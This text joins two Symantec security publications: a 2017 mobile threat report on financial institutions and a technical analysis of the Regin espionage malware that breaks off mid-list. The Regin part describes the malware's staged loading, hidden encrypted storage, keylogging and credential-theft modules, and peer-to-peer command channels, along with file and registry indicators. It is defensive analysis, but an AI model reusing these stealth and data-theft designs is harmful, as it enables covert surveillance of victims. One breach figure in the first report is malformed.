•Mobile devices often blend business and personal activities
•Mobile devices have more attack vectors - email, SMS, web, apps, Wi-Fi, etc.
Combined, these factors make mobile exploits
very attractive, and there are many creative social
engineering exploits that will fool even the most cautious financial executive, especially when the
ploy could be business or personally oriented to
compromise the same device. An important thing to note that is often overlooked is that a mobile exploit may only be used to gain credentials, while the
actual breach that compromises accounts and other
data may take place at a later time, on a different system, where using legitimate credentials will not raise any flags and likely WILL NOT BE ATTRIBUTED
TO MOBILE INSECURITY. Financial breaches are the costliest of
any industry
According to Identity Theft Resource Center, from
January 1, 2005 through September 12, 2017,
there have been a total of 7,900 breaches, exposing
1,046,758,5789 records.
Looking back over the major financial breaches of
the last few years, we have seen impacts of up to
130 million accounts compromised, with the total
cost to the breached company ranging from tens of millions to billions of dollars. Moreover, past breaches teach us that it may be as much as 24 months after the initial infiltration before the breach
is recognized and actions can be taken to protect
customers.
It is worth noting that in 2011, $55,000 was paid
to settle the case because they had a “known
technical vulnerability in its online banking system.”
What other known technical vulnerabilities should these institutions be paying attention to? For starters, Apple and Google regularly patch known
vulnerabilities in their mobile operating systems.
Given that the total number of iOS and Android vulnerabilities published in the first half of 2017
already almost matches the quantity from all of
2016 (iOS vulnerabilities patched in 2017 exceeded 2016 in the first quarter), this is something all security organizations should be looking to address.
It seems likely that more institutions may be held
liable for breaches that occur due to inattention to known mobile vulnerabilities.Follow the money:
Hacking financial institutionsPage Q2 2017 Mobile Threat
Intelligence Report02 6
Mobile OS Vulnerabilities
1200
900
600
300
0
2013 2014 2015 2016 2017 Q1
iOS Android Projected
One of the simplest and most important
precautions mobile users can take to harden their
devices against malicious attacks of any kind is
updating to the latest OS security patch. Apple and Google regularly release updates to their operating systems and core apps that patch security
holes. These holes may have been discovered by
benevolent white hat researchers, or they may have become exposed as the result of a malicious exploit discovered in the wild. In either case, once they are
patched, and simultaneously published, hackers
may choose to take advantage of the security hole by developing and deploying an exploit against any device that hasn’t performed the update.
Looking at devices in financial organizations
that may be unnecessarily exposed to mobile vulnerabilities, we found that these devices are most likely NOT on the latest security patch of the
operating system. On average, 13.2% of financial
mobile devices are not running on the current major version of the operating system, and at any given time up to 99% may not yet be on the newest
minor update. Although this number may vary daily
as patches are released and users update their devices, the data supports the broadly accepted
notion that iOS users update their devices far more
rapidly than those using Android devices, as only 4.6% of iOS devices in financial organizations have not been updated to the latest major OS
version, compared to 47.8% of Android. During the
reporting period an average of 25.9% of mobile devices in finance are able to update to a more secure OS version, but have not yet done so.
Unpatched mobile
devices in financial organizations
Not on current major update
13.2%
Not on current minor update
25.9%
Total unpatched devices
Not on current
major iOS
update
4.6% Not on current
major Android
update
47.8%
Time period: April 1, 2017 - June 30, 2017Follow the money:
Hacking financial institutionsPage Q2 2017 Mobile Threat
Intelligence Report02 7
$158$221
Per capita cost of a data breach:
Total cost of a data breach:The cost of a data breach
Average
of all companiesFinancial services
companies
$4
million$5.24
million
Source: Ponemon Institute 2016 Cost of Data Breach Study: Impact of
Business Continuity Management for Financial ServicesLooking at historical data about breaches, the
finance industry is typically never at the top of the
list for number of breaches - that honor goes to the
healthcare industry, usually by a large margin. In fact, the financial services industry often shows up fourth or fifth, also trailing government, education,
and sometimes retail. However, one measure
that doesn’t get as much attention is the cost of breaches. Financial services is absolutely an over-achiever by this measurement.
In the Ponemon Institute’s 2016 Cost of Data
Breach Study: Impact of Business Continuity Management for Financial Services report, studying 383 companies globally, they found that
the per capita cost and total cost of breaches for
financial organizations are significantly higher than the average.
In the case of “the single largest theft of data from
a US financial institution,” the attacked company
acknowledged that their breach occurred despite spending $250 million annually on cybersecurity.
This clearly illustrates the importance of
comprehensive cybersecurity, and the need to identify and plug ALL of the holes, including mobile, likely the least secured platform in most
organizations today.Q2 2017 Mobile Threat Intelligence ReportQ2 2017 Mobile Threat Intelligence Report
Financial devices
exposed to attack
Section
03Financial devices exposed
to attackPage Q2 2017 Mobile Threat
Intelligence Report03 9
Given that financial breaches are by far the most
costly of any industry, any gap in security could be
devastating if exploited by a malicious hacker. Every
individual organization should take the attitude that ONE BREACH IS TOO MANY. To be fair, financial organizations do seem to take some simple steps
that should help to protect themselves.
iOS devices, which have historically lower rates of
malware infection are used far more often than Android by almost a factor of 4 – 79% of devices in
financial organizations are iOS, while only 21% are
Android. Also, device passcodes are used at a much higher rate than in non-financial organizations – financial organizations only have 2.5% of
devices without passcodes while non-financial
organizations have 6.0%. But are these precautions enough when the target is so tempting?
During the reporting period, we looked at the
actual malicious and risky incidents that may have
resulted in a breach, either at the time, or perhaps at a later date, if credentials were compromised.
Devices infected with
malware
Devices that encountered
network attacks
Devices with
unpatched vulnerabilities
Devices
without passcodes
Devices in finance organizations0.31%
15.3%
25.9%
2.5% Predictably, malware incidences were fairly low, at 0.31%. However, the certainty of malware being a
real security risk is much higher than other threat
vectors, so these should be monitored and mitigated in real time if at all possible.
Everyone with a mobile device operates most of
the time outside of the firewall and even financial
employees connect to public Wi-Fi at times. Hopefully they are not transacting business on these potentially risky or malicious networks, because
15.3% of financial devices encountered a network
attack during the reporting period.
Perhaps the most significant, and preventable
security risk is having unpatched vulnerabilities on a
mobile device. All kinds of attacks rely on the ability
to take advantage of a vulnerability in the operating system or a system app, so it should be frightening that more than 1 in 4 financial devices is operating
with known vulnerabilities that have security
updates available.
Mobile incidents in financial organizations
Time period: April 1, 2017 - June 30, 2017
****Financial devices exposed
to attackPage Q2 2017 Mobile Threat
Intelligence Report03 10
Fallout from a breach: Clean-up costs
and lost reputations
Every time a large data breach happens, it is all over
the news. We see the numbers of accounts exposed,
the cost of the breach, and even the time and cost
to investigate and beef up security. According to the LinkedIn Information Security Group’s 2016 BYOD & Mobile Security Report, more than one in five (21%)
organizations acknowledged experiencing a mobile
security breach. These companies can spend up to 13 percent of their total IT budget just to triage a widespread mobile malware infection, and 14% indicated it took more than a month to recover
from the mobile security breach. A particularly
disturbing result from this survey is that 37% of the companies surveyed had no idea if they had
experienced a breach, and 21% of those that did
were not sure how long it would take to recover.
Customers are paying attention and changing their
opinions of the companies they do business with. A
2016 poll conducted by OnePoll showed nearly 87%
of respondents stated they were either “not very likely” or “not at all likely” to do business with a company that had financial information breached.When customers found out some 40 million debit
and credit card accounts were hacked due to one of
department store Target’s third-party vendors, the cost to the business was huge – an estimated $520 million
loss in one quarter, relative to the same quarter the
previous year.
When customers have mobile access to
financial data…
Mobile banking and mobile investing are a huge
boon to financial organizations. Customers are more
engaged, transact more often, and are perhaps even
more loyal when the experience is a good one. Over the last several years, financial organization of all kinds rushed mobile apps out to their customers to
offer a better and more convenient experience than
their rivals. In that rush to provide a great customer experience, one really big thing was overlooked - SECURITY.
87% stated they
were either not very likely or not at all likely to do business with a company that had financial information breachedFinancial devices exposed
to attackPage Q2 2017 Mobile Threat
Intelligence Report03 11
Accenture performed a variety of tests on 15 banking apps from the North American market and discovered
a range of security issues across both iOS and Android versions. 465 tests were completed for Android
apps and 315 tests were conducted on iOS apps. The following data shows the results of the tests and the
severity of the issues uncovered. Note that, although a lower level security issue may be less likely to cause a problem or be more difficult to exploit, any security issue is a cause for concern and should be addressed. The real problem is that every app tested had at least one security issue.
Severity
of security issues in 15 popular mobile banking apps
Low-level security issues: 43%
High-level security issues: 10%
Medium-level security issues: 47%
Medium-level security issues: 35%
Low-level security issues: 65%Every app had
at least
one security
issueAndroid Versions:
102 issues
iOS Versions:
37 issuesQ2 2017 Mobile Threat Intelligence ReportQ2 2017 Mobile Threat Intelligence Report
Recommended
behavior while
mobile banking
Section
04Recommended behavior while
mobile bankingPage Q2 2017 Mobile Threat
Intelligence Report04 13
Note that even if banks were successful in creating secure mobile banking apps someday, often the users
themselves are the biggest security risk. Here are some tips to reduce the chance that your personal and
financial information will be stolen:
10 steps for safe mobile banking
01
02 03
04
05 06
07 08 09
10 Use the passcode lock on
your mobile devices.****
Log out of the mobile banking app completely
when finished.
Only download banking
apps from the primary
app stores.
Be sure others
cannot see you
entering passwords
and other sensitive information.Don’t store account information, social security number or
passwords on the device.
Wipe your
mobile device
before you
sell, donate or discard your
mobile device.Beware of phishing - avoid links
in emails and texts even if it
looks like it is from your bank.
When accessing financial accounts,
disconnect from Wi-Fi and use cellular.
Report any suspected fraud
to your bank immediately.
Protect your phone from
hackers by installing
mobile security software.Q2 2017 Mobile Threat Intelligence ReportQ2 2017 Mobile Threat Intelligence Report
And the
essentials...
Section
05Almost one third of all
devices are risky
Over 28 percent of all mobile devices are rated as
medium-to-high risk according to the SEP Mobile
Threat Risk Score, a slight drop from Q1 2017. The
portion of high-risk devices for Q1 2017 is lower this quarter, now only 0.84%. These devices have either already been compromised or are currently under
attack. The SEP Mobile risk score takes into account
recent threats the device was exposed to, device vulnerabilities, configuration and user behavior.And the essentials... Page Q2 2017 Mobile Threat
Intelligence Report05
Jailbroken & Rooted High risk: 0.84%
Medium risk: 27.50%
Low risk:
24.19%Minimal risk:
38.39%
Enterprise managed
Self
managedRooting an Android device, or jailbreaking an iOS
device, is a way for the user to gain greater control
over the device, allowing better access to system
files and enabling greater personalization and functionality of the device that wouldn’t otherwise be allowed by the operating system as designed.
Users will do this to their own phones to improve
their productivity or enjoyment of the device, but this continues to decrease in popularity as newer operating systems naturally allow some of the
functionality that could previously only be achieved
through rooting or jailbreaking.
Because of the greater control over the device that
this affords, it is a common goal of hackers to figure out ways to root or jailbreak devices, and malware
is a common way to do that. A user that roots or
jailbreaks their own device should be aware that they may be simply making it easier for hackers to
exploit, so it is not generally recommended.Jailbroken
iOS
devicesRooted
Android
devices
0.05% 0.01%
1.71%
0.21% 15Devices exposed to network threats over time
In any typical organization, about 24% of the mobile devices will be exposed to a network threat in the
first month of security monitoring. This number goes to 46% over the next 3 months. A network threat
may be a malicious Man in the Middle (MitM) attack that decrypts SSL traffic or manipulates content in
transit to or from the device. It can also be a simple misconfigured router that exposes otherwise encrypted data for anyone to view. Regardless of how malicious the intent of the network threat is, individuals and organizations would be wise to avoid any network that does not accurately and securely perform the
connection services originally requested by the user and the device.And the essentials... Page Q2 2017 Mobile Threat
Intelligence Report05
50%
40%
30%
20%
10%
0
1 month 2 months 3 months 4 months24.4%35.9%40.5%46.1% 16Top 5
Recommendations to Keep Your iOS Device Safe And the essentials... Page Q2 2017 Mobile Threat
Intelligence Report05
Since user behavior is such a huge factor in
mobile security, user education is one of the most
important things an organization can do to keep
minimize the threat to their organizations through mobile devices. Users should know to only install apps from the primary app stores, don’t click on
untrusted links or approve device permissions and
accesses without good reason.
The other important thing an organization can do
is install SEP Mobile, which will proactively protect devices in real-time, often even if the user is doing
something that is unsafe. SEP Mobile will also
inform users and IT admins about the upgradability of both iOS and Android devices so that the window of vulnerability is minimized.01 Don’t click, install or connect
to anything that you are not
confident is safe.
02 Only install apps from
reputable app stores.
03 If you are not confident the Wi-Fi is secure, don’t
perform sensitive work
while connected.
04 Always update to the latest security patch
as soon as it is available
for your device.
05 Protect your device with a free mobile security app
like SEP Mobile.Get a free enterprise trial 17About the Mobile Threat Intelligence Report
The Symantec Mobile Threat Intelligence Report reviews
worldwide threat intelligence data. Today’s report is based
on millions of monthly security tests from April through
June 2017 and includes both unmanaged devices and those under security management in enterprise organizations. Data includes the SEP Mobile proprietary Mobile Threat Risk Score,
which acts as a credit score to measure the risk of threat
exposure for mobile devices. For organizations, SEP Mobile condenses millions of data points to calculate a risk score so that IT can quickly discern the state of the overall system
and the risk to each device. Symantec analyzes over 1 million
apps and more than 1.5 million unique networks worldwide directly through the SEP Mobile app every year. This does not
include tests and analysis Symantec performs independently
of SEP Mobile, even though SEP Mobile leverages such data to secure mobile devices.
About Symantec
Symantec Corporation (NASDAQ: SYMC), the world’s leading cyber security company, helps organizations, governments
and people secure their most important data wherever it lives.
Organizations across the world look to Symantec for strategic, integrated solutions to defend against sophisticated attacks across endpoints, cloud and infrastructure. Likewise, a global
community of more than 50 million people and families rely
on Symantec’s Norton and LifeLock product suites to protect their digital lives at home and across their devices. Symantec operates one of the world’s largest civilian cyber intelligence
networks, allowing it to see and protect against the most
advanced threats. For additional information, please visit www.symantec.com or connect with us on Facebook, Twitter,
and LinkedIn.
|
SECURITY RESPONSE
Regin is a multi-staged, modular threat, meaning that it
has a number of components, each depending on others, to perform attack operations. Regin: Top-tier espionage tool
enables stealthy surveillance
Symantec Security Response
Version 1.1 – August 27, 2015Regin: Top-tier espionage tool enables stealthy surveillanceCONTENTS
OVERVIEW ..................................................................... 3
Introduction .................................................................. 5
Timeline ......................................................................... 5
Target profile ................................................................. 6
Infection vector ............................................................. 6
Regin framework ........................................................... 8
Architecture ............................................................. 8
Command-and-control .......................................... 14
64-bit version ........................................................ 17
Conclusion ................................................................... 18
Protection .................................................................... 18
Appendix ..................................................................... 20
Data files ............................................................... 20
Indicators of compromise ........................................... 20
File MD5s ............................................................... 20
File names/paths ................................................... 21
Extended attributes .............................................. 21
Registry ................................................................. 22In the world of malware threats, only a few rare examples can truly be considered
groundbreaking and almost peerless. What we have seen in Regin is just such a class of
malware.
Regin is an extremely complex piece of software that can be customized with a wide
range of different capabilities which can be deployed depending on the target. It is built
on a framework that is designed to sustain long-term intelligence-gathering operations
by remaining under the radar. It goes to extraordinary lengths to conceal itself and its activities on compromised computers. Its stealth combines many of the most advanced
techniques that we have ever seen in use.
The main purpose of Regin is intelligence gathering and it has been implicated in data
collection operations against government organizations, infrastructure operators,
businesses, academics, and private individuals. The level of sophistication and complexity
of Regin suggests that the development of this threat could have taken well-resourced teams of developers many months or years to develop and maintain.
Regin is a multi-staged, modular threat, meaning that it has a number of components, each
depending on others, to perform attack operations. This modular approach gives flexibility to the threat operators as they can load custom features tailored to individual targets when
required. Some custom payloads are very advanced and exhibit a high degree of expertise
in specialist sectors. The modular design also makes analysis of the threat difficult, as all components must be available in order to fully understand it. This modular approach has
been seen in other sophisticated malware families such as Flamer and Weevil (The Mask),
while the multi-stage loading architecture is similar to that seen in the Duqu/Stuxnet family
of threats.
Regin is different to what are commonly referred to as “traditional” advanced persistent
threats (APTs), both in its techniques and ultimate purpose. APTs typically seek specific information, usually intellectual property. Regin’s purpose is different. It is used for the
collection of data and continuous monitoring of targeted organizations or individuals. This
report provides a technical analysis of Regin based on a number of identified samples and components. This analysis illustrates Regin’s architecture and the many payloads at its
disposal.
OVERVIEWRegin has a wide
range of standard capabilities, particularly around monitoring targets and stealing data.
INTRODUCTIONPage 5
Regin: Top-tier espionage tool enables stealthy surveillance
Introduction
Regin is a multi-purpose data collection tool which dates back several years. Symantec first began looking into
this threat in the fall of 2013. Multiple versions of Regin were found in the wild, targeting several corporations, institutions, academics, and individuals.
Regin has a wide range of standard capabilities, particularly around monitoring targets and stealing data. It also
has the ability to load custom features tailored to individual targets. Some of Regin’s custom payloads point to a high level of specialist knowledge in particular sectors, such as telecoms infrastructure software, on the part of the developers.
Regin is capable of installing a large number of additional payloads, some highly customized for the targeted
computer. The threat’s standard capabilities include several remote access Trojan (RAT) features, such as capturing screenshots and taking control of the mouse’s point-and-click functions. Regin is also configured to steal passwords, monitor network traffic, and gather information on processes and memory utilization. It can also scan for deleted files on an infected computer and retrieve them. More advanced payload modules designed with specific goals in mind were also found in our investigations. For example, one module was designed to monitor network traffic to Microsoft Internet Information Services (IIS) web servers, another was observed collecting administration traffic for mobile telephony base station controllers, while another was created specifically for parsing mail from Exchange databases.
Regin goes to some lengths to hide the data it is stealing. Valuable target data is often not written to disk. In
some cases, Symantec was only able to retrieve the threat samples but not the files containing stolen data.
Timeline
Symantec is aware of two distinct versions of Regin. Version 1.0 appears to have been used from at least 2008 to 2011. Version 2.0 has been used from 2013 onwards, though it may have possibly been used earlier.
Version 1.0 appears to have been abruptly withdrawn from circulation in 2011. Version 1.0 samples found after
this date seem to have been improperly removed or were no longer accessible to the attackers for removal.
This report is based primarily on our analysis of Regin version 1.0. We also touch on version 2.0, for which we
only recovered 64-bit files.
Symantec has assigned these version identifiers as they are the only two versions that have been acquired. Regin
likely has more than two versions. There may be versions prior to 1.0 and versions between 1.0 and 2.0.Page 6
Regin: Top-tier espionage tool enables stealthy surveillance
Target profile
The Regin operators do not appear to
focus on any specific industry sector. Regin infections have been observed in a variety of organizations, including private companies, government entities, and research institutes.
Infections are also geographically
diverse, having been identified mainly in ten different countries.
Infection vector
The infection vectors of Regin are largely unknown. On one computer, log files revealed that Regin originated from Yahoo! Instant Messenger through an unconfirmed exploit. The sophisticated nature of the platform would indicate this vector is also highly complex in nature. The vector may vary per target and there is a high likelihood the attacker has access to zero-day exploits.
Targets may be tricked into
visiting spoofed versions of well-known websites and the threat may be installed through a web browser or by exploiting an application.
Figure 1. Confirmed Regin infections by sector
Figure 2. Confirmed Regin infections by regionThe design
purpose of the Regin framework is to enable modularization.
REGIN FRAMEWORKPage 8
Regin: Top-tier espionage tool enables stealthy surveillance
Regin framework
Architecture
Regin has a six-stage architecture.
The initial stages involve the installation and configuration of the threat’s internal services. The later stages bring Regin’s main payloads into play. This section of the paper presents an overview of the format and purpose of each stage. The most interesting aspects are the executables and data files stored in Stages 4 and 5. The initial Stage 1 driver is the only plainly visible code on the computer. All other stages are stored as encrypted data blobs, as a file, or within a non-traditional file storage area such as the registry, extended attributes, or raw sectors at the end of disk.
The design purpose of
the
Regin framework is to
enable modularization. The
modularization is very fine-grained, starting with basic functionality and extending up to specific attacks, all implemented with common framework. For example, compression, encryption, logging, and password stealing are implemented as four separate units. Using fine-grained units allows for in-the-field updates of specific functionality or easy deployment of extensions when necessary (almost everything is extensible).
Stage 0 (dropper)
To date, Symantec Security Response has yet to obtain a Regin dropper. Symantec expects the dropper to install and execute the Stage 1 driver. It’s likely that Stage 0 is also responsible for creating the extended attributes and/or registry keys and values that contain the additional stages providing Regin’s remaining functionality. Table 1. The six stages of Regin
Stages Components
Stage 0 Dropper. Installs Regin onto the target computer
Stage 1 Loads driver
Stage 2 Loads driver
Stage 3 Loads compression, encryption, networking, and handling for an encrypted
virtual file system (EVFS)
Stage 4 Utilizes the EVFS and loads additional kernel mode drivers, including payloads
Stage 5 Main payloads and data files
Figure 3. Regin’s architecturePage 9
Regin: Top-tier espionage tool enables stealthy surveillance
Since the dropper
doesn’t appear as an actual file on the system, it could be transient code existing only in memory rather than acting as an executable file. The dropper is quite likely built into the infection vector exploit code and is never written to disk.
Stage 1
Stage 1 can be considered a support module, whose purpose is to facilitate the loading of Stage 2. These kernel drivers may be registered as a system service or may have an associated registry key to load the driver while the computer is starting up. These loaders are the only part of the framework that may exist as an executable on the victim’s computer.
Stage 1 will simply read and execute Stage 2 from NTFS extended attributes or registry key blobs, depending
on which operating system is infected. The module exists in two forms, as a standalone malicious driver or as malicious code embedded within code of a legitimate device driver.
The following are example file names of known Stage 1 modules:
• usbclass.sys (version 1.0)
• adpu160.sys (version 2.0)
Note: For a full list of known file names, see the appendix.
Stage 2
Stage 2 is a kernel driver that simply extracts, installs, and runs Stage 3. Stage 2 is not stored in the traditional
file system, but is encrypted within an extended attribute or a registry key blob.
This stage can also hide running instances of Stage 1. Once this happens, there are no remaining plainly visible
code artifacts. Similar to previous stages, Stage 2 finds and loads an encrypted version of Stage 3 from either NTFS extended attributes or a registry key blob.
Stage 2 can also monitor the state of the threat. This stage drops the file msrdc64.dat, which appears to always
be 512 bytes in size. The first two bytes are used and the remaining bytes are set to zero. The second byte indicates the exclusive maximum number of instances allowed to run, which is set to two. This means no more than one instance should run at any time. The first byte indicates how many instances were run or attempted to
Figure 4. Regin’s interdependent unitsPage 10
Regin: Top-tier espionage tool enables stealthy surveillance
run. Therefore, the potential combinations for the first two bytes are:
• 00 02 (the threat is not running)
• 01 02 (the threat is running)
• 02 02 (the threat was running and a second instance has started)
The following configurations are examples of where Stage 2 can be found:
Example extended attribute:
• %Windir%
• %Windir%\fonts
• %Windir%\cursors (possibly only in version 2.0)
Example registry subkey• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793-
D0204917CA58}
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\RestoreList\VideoBase (possibly only in version 2.0)
Note: For a full list of known folder names and registry keys, see the appendix.
Stage 3
Stage 3 is a kernel mode DLL and is not stored in the traditional file system. Instead, this file is encrypted within
an extended attribute or registry key blob. The file is six to seven times the size of the driver in Stage 2. In addition to loading and executing Stage 4, Stage 3 offers a framework for the higher level stages.
Stages 3 and above are based on a modular framework of code modules. These modules offer functions through
a private, custom interface (RPC Mechanism). The units in stages 3 and above can export functionality to other parts of the framework.
Stage 3 is internally known as VMEM.sys
and exposes the functionality in Table 2.
The purpose of the Stage 3 modules are
as follows:
• The orchestrator, which parses custom
records found in the appended data of the executable files for stages 3 and above. These records contain a list of Regin functionalities to be executed. A record starts with the number 0xD912FEAB (little-endian ordering)
• Compression and decompression routines
• Encryption and decryption routines
• Routines to retrieve storage locations of higher-level (Stage 4) components
• Routines to handle an encrypted virtual file system used by Stage 4
• Network primitives
Example configurations of where Stage 3 can be found are as follows:
Extended attribute
• %Windir%\system32
• %Windir%\system32\driversTable 2. An example of Regin’s methods organized into 12 groups
Unit (dec) Unit (hex) Functionality
101 0065h Orchestrator
107 006bh Virtual file system (VFS) access manager
113 0071h Compression/decompression
115 0073h Encryption/decryption (RC5)
161 00a1h VFS access
50111 c3bfh Inter process communication
50215 c427h System information (OS/process)
50225 c431h API hooking enginePage 11
Regin: Top-tier espionage tool enables stealthy surveillance
Registry subkey
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793-
D0204917CA5A}
Stage 4
The files for Stage 4, which are loaded by Stage 3, consist of a user-mode orchestrator and multiple kernel
payload modules.
They are stored in two EVFS containers as files:
• %System%\config\SystemAudit.Evt
• %System%\config\SecurityAudit.Evt (DISP .DLL)
Note: Stage 4 uses the same export methodology
described in Stage 3.
The user mode component of Regin’s Stage 4
payload provides the functionality in Table 3.
The kernel mode component of Regin’s Stage 4
payload provides the functionality in Table 4.
When the attackers behind Regin cleaned up
compromised computers they often failed to remove Stage 4 and 5 artifacts from systems.
Stage 5
Stage 5 consists of the main Regin payload functionality. The files for Stage 5 are injected into services.exe by Stage 4.
Stage 5 files are EVFS containers containing other
files:
• %System%\config\SystemLog.evt: Contains Stage
5 user mode DLLs that constitute Regin’s payload
• %System%\config\SecurityLog.evt: Contains Stage 5 data files, used by the Stage 4 and 5 components to store various data items
• %System%\config\ApplicationLog.evt: Another Stage 5 log container, which is referenced by Stage 5 data files
• %Windir%\ime\imesc5\dicts\pintlgbp.imd (version 2.0)
• %Windir%\ime\imesc5\dicts\pintlgbs.imd (version 2.0)
Regin’s payload involves the DLLs contained in the SystemLog.evt EVFS container. The payload functionality
differs depending on the targeted computer. Custom payload files will likely be delivered for each specific environment. Example payload functionality seen to date includes:
• Sniffing low-level network traffic
• Exfiltrating data through various channels (TCP, UDP, ICMP, HTTP)
• Gathering computer information
• Stealing passwords
• Gathering process and memory information
• Crawling through the file system
• Low level forensics capabilities (for example, retrieving files that were deleted)
• UI manipulation (remote mouse point & click activities, capturing screenshots, etc.)
• Enumerating IIS web servers and stealing logsTable 3. Stage 4 usermode payloads (DISP.DLL)
Unit (dec) Unit (hex) Functionality
1 0001h Core (user level)
7 0007h VFS access management
9 0009h Networking
11 000Bh Event logging
13 000Dh Compression/decompression
15 000Fh Encryption/decryption (RC5)
17 0011h Remote procedure call (RPC) helper
19 0013h Peer nodes
25 0019h UDP transport
51 0033h Winlogon Autostart
61 003Dh EVFS handling
50035 C373h TCP Transport
Table 4. Stage 4 kernel payloads
Unit (dec) Unit (hex) Functionality
3 0003h Universal unit interface
20073 4e69h Port blocking
50115 c3c3h Network packet filter driver
50211 c42dh DLL loader (Unit from VFS)
50219 c42bh PE loader (Unit from VFS)
50227 c433h Rootkit (File System/Network)Page 12
Regin: Top-tier espionage tool enables stealthy surveillance
• Sniffing GSM BSC administration network traffic
Framework units
Regin can be upgraded with various payload modules or receive payload modules after infection. The extensible
nature of Regin and its custom payloads indicate that many additional payloads are likely to exist in order to enhance Regin’s capabilities. Furthermore, we have found data files accompanying payload modules that have not been recovered.
Note: Some units listed below exist as payloads and are also embedded in the VMEM.SYS/DISP.DLL.Table 5 describes the additional payloads which we have seen used by several variants of Regin.
Table 5. Regin’s additional kernel and usermode payloads
Unit (dec) Unit (hex) Functionality
25 0019h UDP transport
27 001bh ICMP transport
10105 2779h Call scheduling
10107 277bh Impersonation
10207 27dfh Logging (keyboard/clipboard/mouse)
10217 27e9h Logging (IIS web server)
10309 2845h Networking (mailslot/named pipe)
10405 28a5h Timestamp conversion
10507 290bh Credential retrieval (Windows/Outlook)
11101 2b5dh Process/file forensics
20027 4e3bh Browser stealing (proxy/sessions/user accounts)
20120 4e98h User level keylogging
20121 4e99h Utility keylogging
20123 4e9bh Keyboard driver hooking
50001 c351h File system forensics
50011 c35bh File system monitoring
50013 c35dh Security product identification
50015 c35fh Retrieve system time (UNIX format)
50017 c361h Crypto support
50019 c363h Network packet capture
50025 c369h Discovery (system/network)
50027 c36bh User interface manipulation (screenshots, mouse, keyboard)
50029 c36dh Packet sniffer and parser utility
50033 c371h Hooking (Windows event log)
50035 c373h TCP transport
50037 c375h HTTP cookies transport
50047 c37fh Packet sniffer and parser utility
50049 c381h Credential harvesting (network captures)
50051 c383h SSL transport
50053 c385h Packet sniffer and parser utility
50061 c38dh Asymmetric cryptography
50063 c38fh Packet string filter compiler
50073 c399h Event logging
50079 c39fh Temporary file access
50081 c3a1h RPC network interfacePage 13
Regin: Top-tier espionage tool enables stealthy surveillance
Standalone units
Additional units, which also appear to be used in Regin but do not share the same export methodology as the
framework units, have also been identified.
Remote procedure call (RPC) mechanism
The Regin framework facilitates communication between units by providing a lightweight RPC mechanism. In a typical scenario, units that provide a higher-level functionality (for example, networking) rely on services provided by other units (such as TCP transport, UDP transport, etc.)
The RPC mechanism appears to be a custom implementation for the following reasons:
• No optimization is implemented for local invocations.
• Simple data representation; for example, serialized strings are terminated by NULL. Standard protocols are
expected to handle embedded NULLs.
• Server implements inline de-serialization. Standard frameworks typically split de-serialization to reduce maintenance overhead.
Regin units expose their functionality as procedures accessible through this RPC mechanism. The procedure to
be invoked by RPC is identified by the tuple described in Table 7.Table 6. Regin’s standalone units
Internal name Description
U_Alice Download and execute remote payload
Hopscotch Create and execute payload on remote computer
Legspin Interactive console administration tool50097 c3b1h Logging (DNS)
50101 c3b5h System information collection
50113 c3c1h Utility (linked lists)
50117 c3c5h Network information collector
50121 c3c9h List files
50125 c3cdh Network communications intermediary
50139 c3dbh Windows event log retrieval
50185 c409h Credential harvesting (SAM/LSA)
50223 c42fh Notifier (LoadImage/CreateProcess)
50231 c437h Copy payload
50251 c44bh Keyboard hooking
50271 c45fh SMB transport
55001 d6d9h Email read/write
55011 d6e3h Log parser (MS Exchange)
Table 7. Regin RPC tuple format
Size Element Description
DWORD Node address Identifies specific Regin node (i.e infected computer)
WORD Major id Identifies specific Regin unit within the node
BYTE Procedure id Identified specific procedure within the Regin nodePage 14
Regin: Top-tier espionage tool enables stealthy surveillance
Regin used a virtual private network where the node address is similar to IPv4, but addresses are distinct from
the actual computer IPv4 address. When Regin wants to communicate with the local computer it uses the constant 0x7F000001 which can be interpreted as 127.0.0.1 (localhost).
This RPC mechanism allows for procedure calls locally and across the network of Regin-infected computers.
Operators can directly call any procedure on the Regin network to remotely control, install or update units or change unit configuration by replacing EVFS files.
Encrypted virtual file system containers
Regin stores data files and payloads on disk in encrypted virtual file system files. Such files are accessed by the major routines 3Dh. Files stored inside EVFS containers are encrypted with a variant of RC5, using 64-bit blocks and 20 rounds. The encryption mode is reverse cipher feedback (CFB).
Known extensions for EVFS containers
are .evt and .imd. The structure of a container is similar to the FAT file system. One major difference is that files do not have a name; instead, they are identified using a binary tag. The tag itself is the concatenation of a major number and a minor number. The major number typically indicates the major function group that will handle the file.
A container starts with the header
shown in Table 8 (little-endian ordering).
The header is followed
by the file entry table (Table 9). Each file entry is 13h+taglen bytes long.
The sectors follow
(Table 10). A sector of sectsize bytes starts with a DWORD pointing to the next sector (if the file does not fit within a single sector), followed by sectsize-4 bytes of payload data.
As previously mentioned,
the files are encrypted. Other layers of encryption and compression may also be in place, although those would be handled by higher-level components.
Logging
Regin logs data to the ApplicationLog.dat file. This file is not an encrypted container, but it is encrypted and compressed.
Command-and-control
Regin’s command-and-control (C&C) operations are extensive. The C&C communications can be relayed through the network of Regin-infected computers. The networking protocols are extensible and they are configurable between
Figure 5. Physical layout of an EVFS containerTable 8. The container’s header
Offset Type Description
00h WORD Sector size in bytes
02h WORD Maximum sector count
04h WORD Maximum file count
06h BYTE File tag length (taglen)
07h DWORD Header CRC
0Bh DWORD File table CRC
0Fh WORD Number of files
11h WORD Number of sectors in use
13h - Sector-use bitmap
Table 9. The container’s file entry table
Offset Type Description
00h DWORD CRC
04h DWORD File offset
08h DWORD Offset to first sector holding the file data
0Ch BYTE[taglen] File tag
Table 10. The container’s sectors
Offset Type Description
00h DWORD Next sector offset, or 0
04h BYTE[sectsize-4] DataPage 15
Regin: Top-tier espionage tool enables stealthy surveillance
each pair of Regin-infected computers. Furthermore, compromised computers can serve as a proxy for other
infections and command and control can also happen in a peer-to-peer fashion.
Protocols
All communications are strongly encrypted and can happen in a two-stage fashion where the attacker may contact a compromised computer using one channel (knock) to instruct it to begin communications on another channel (conversation).
The protocol for establishing communications between a pair of computers is as follows:
1. A Regin node sends a knock to establish bidirectional communication with a target node. The knock includes
details of requested transport to be used for bidirectional communication.
2. The nodes work together to establish which transport should be used for bidirectional communications.
3. RPC messages are then exchanged over the established transport in a secure conversation.
The operators can configure a variety of communication mechanisms, including a combination of different
networking protocols for knock and conversation. For example, a pair of Regin nodes could use the following combination of protocols:
• Knock—Custom transport over UDP
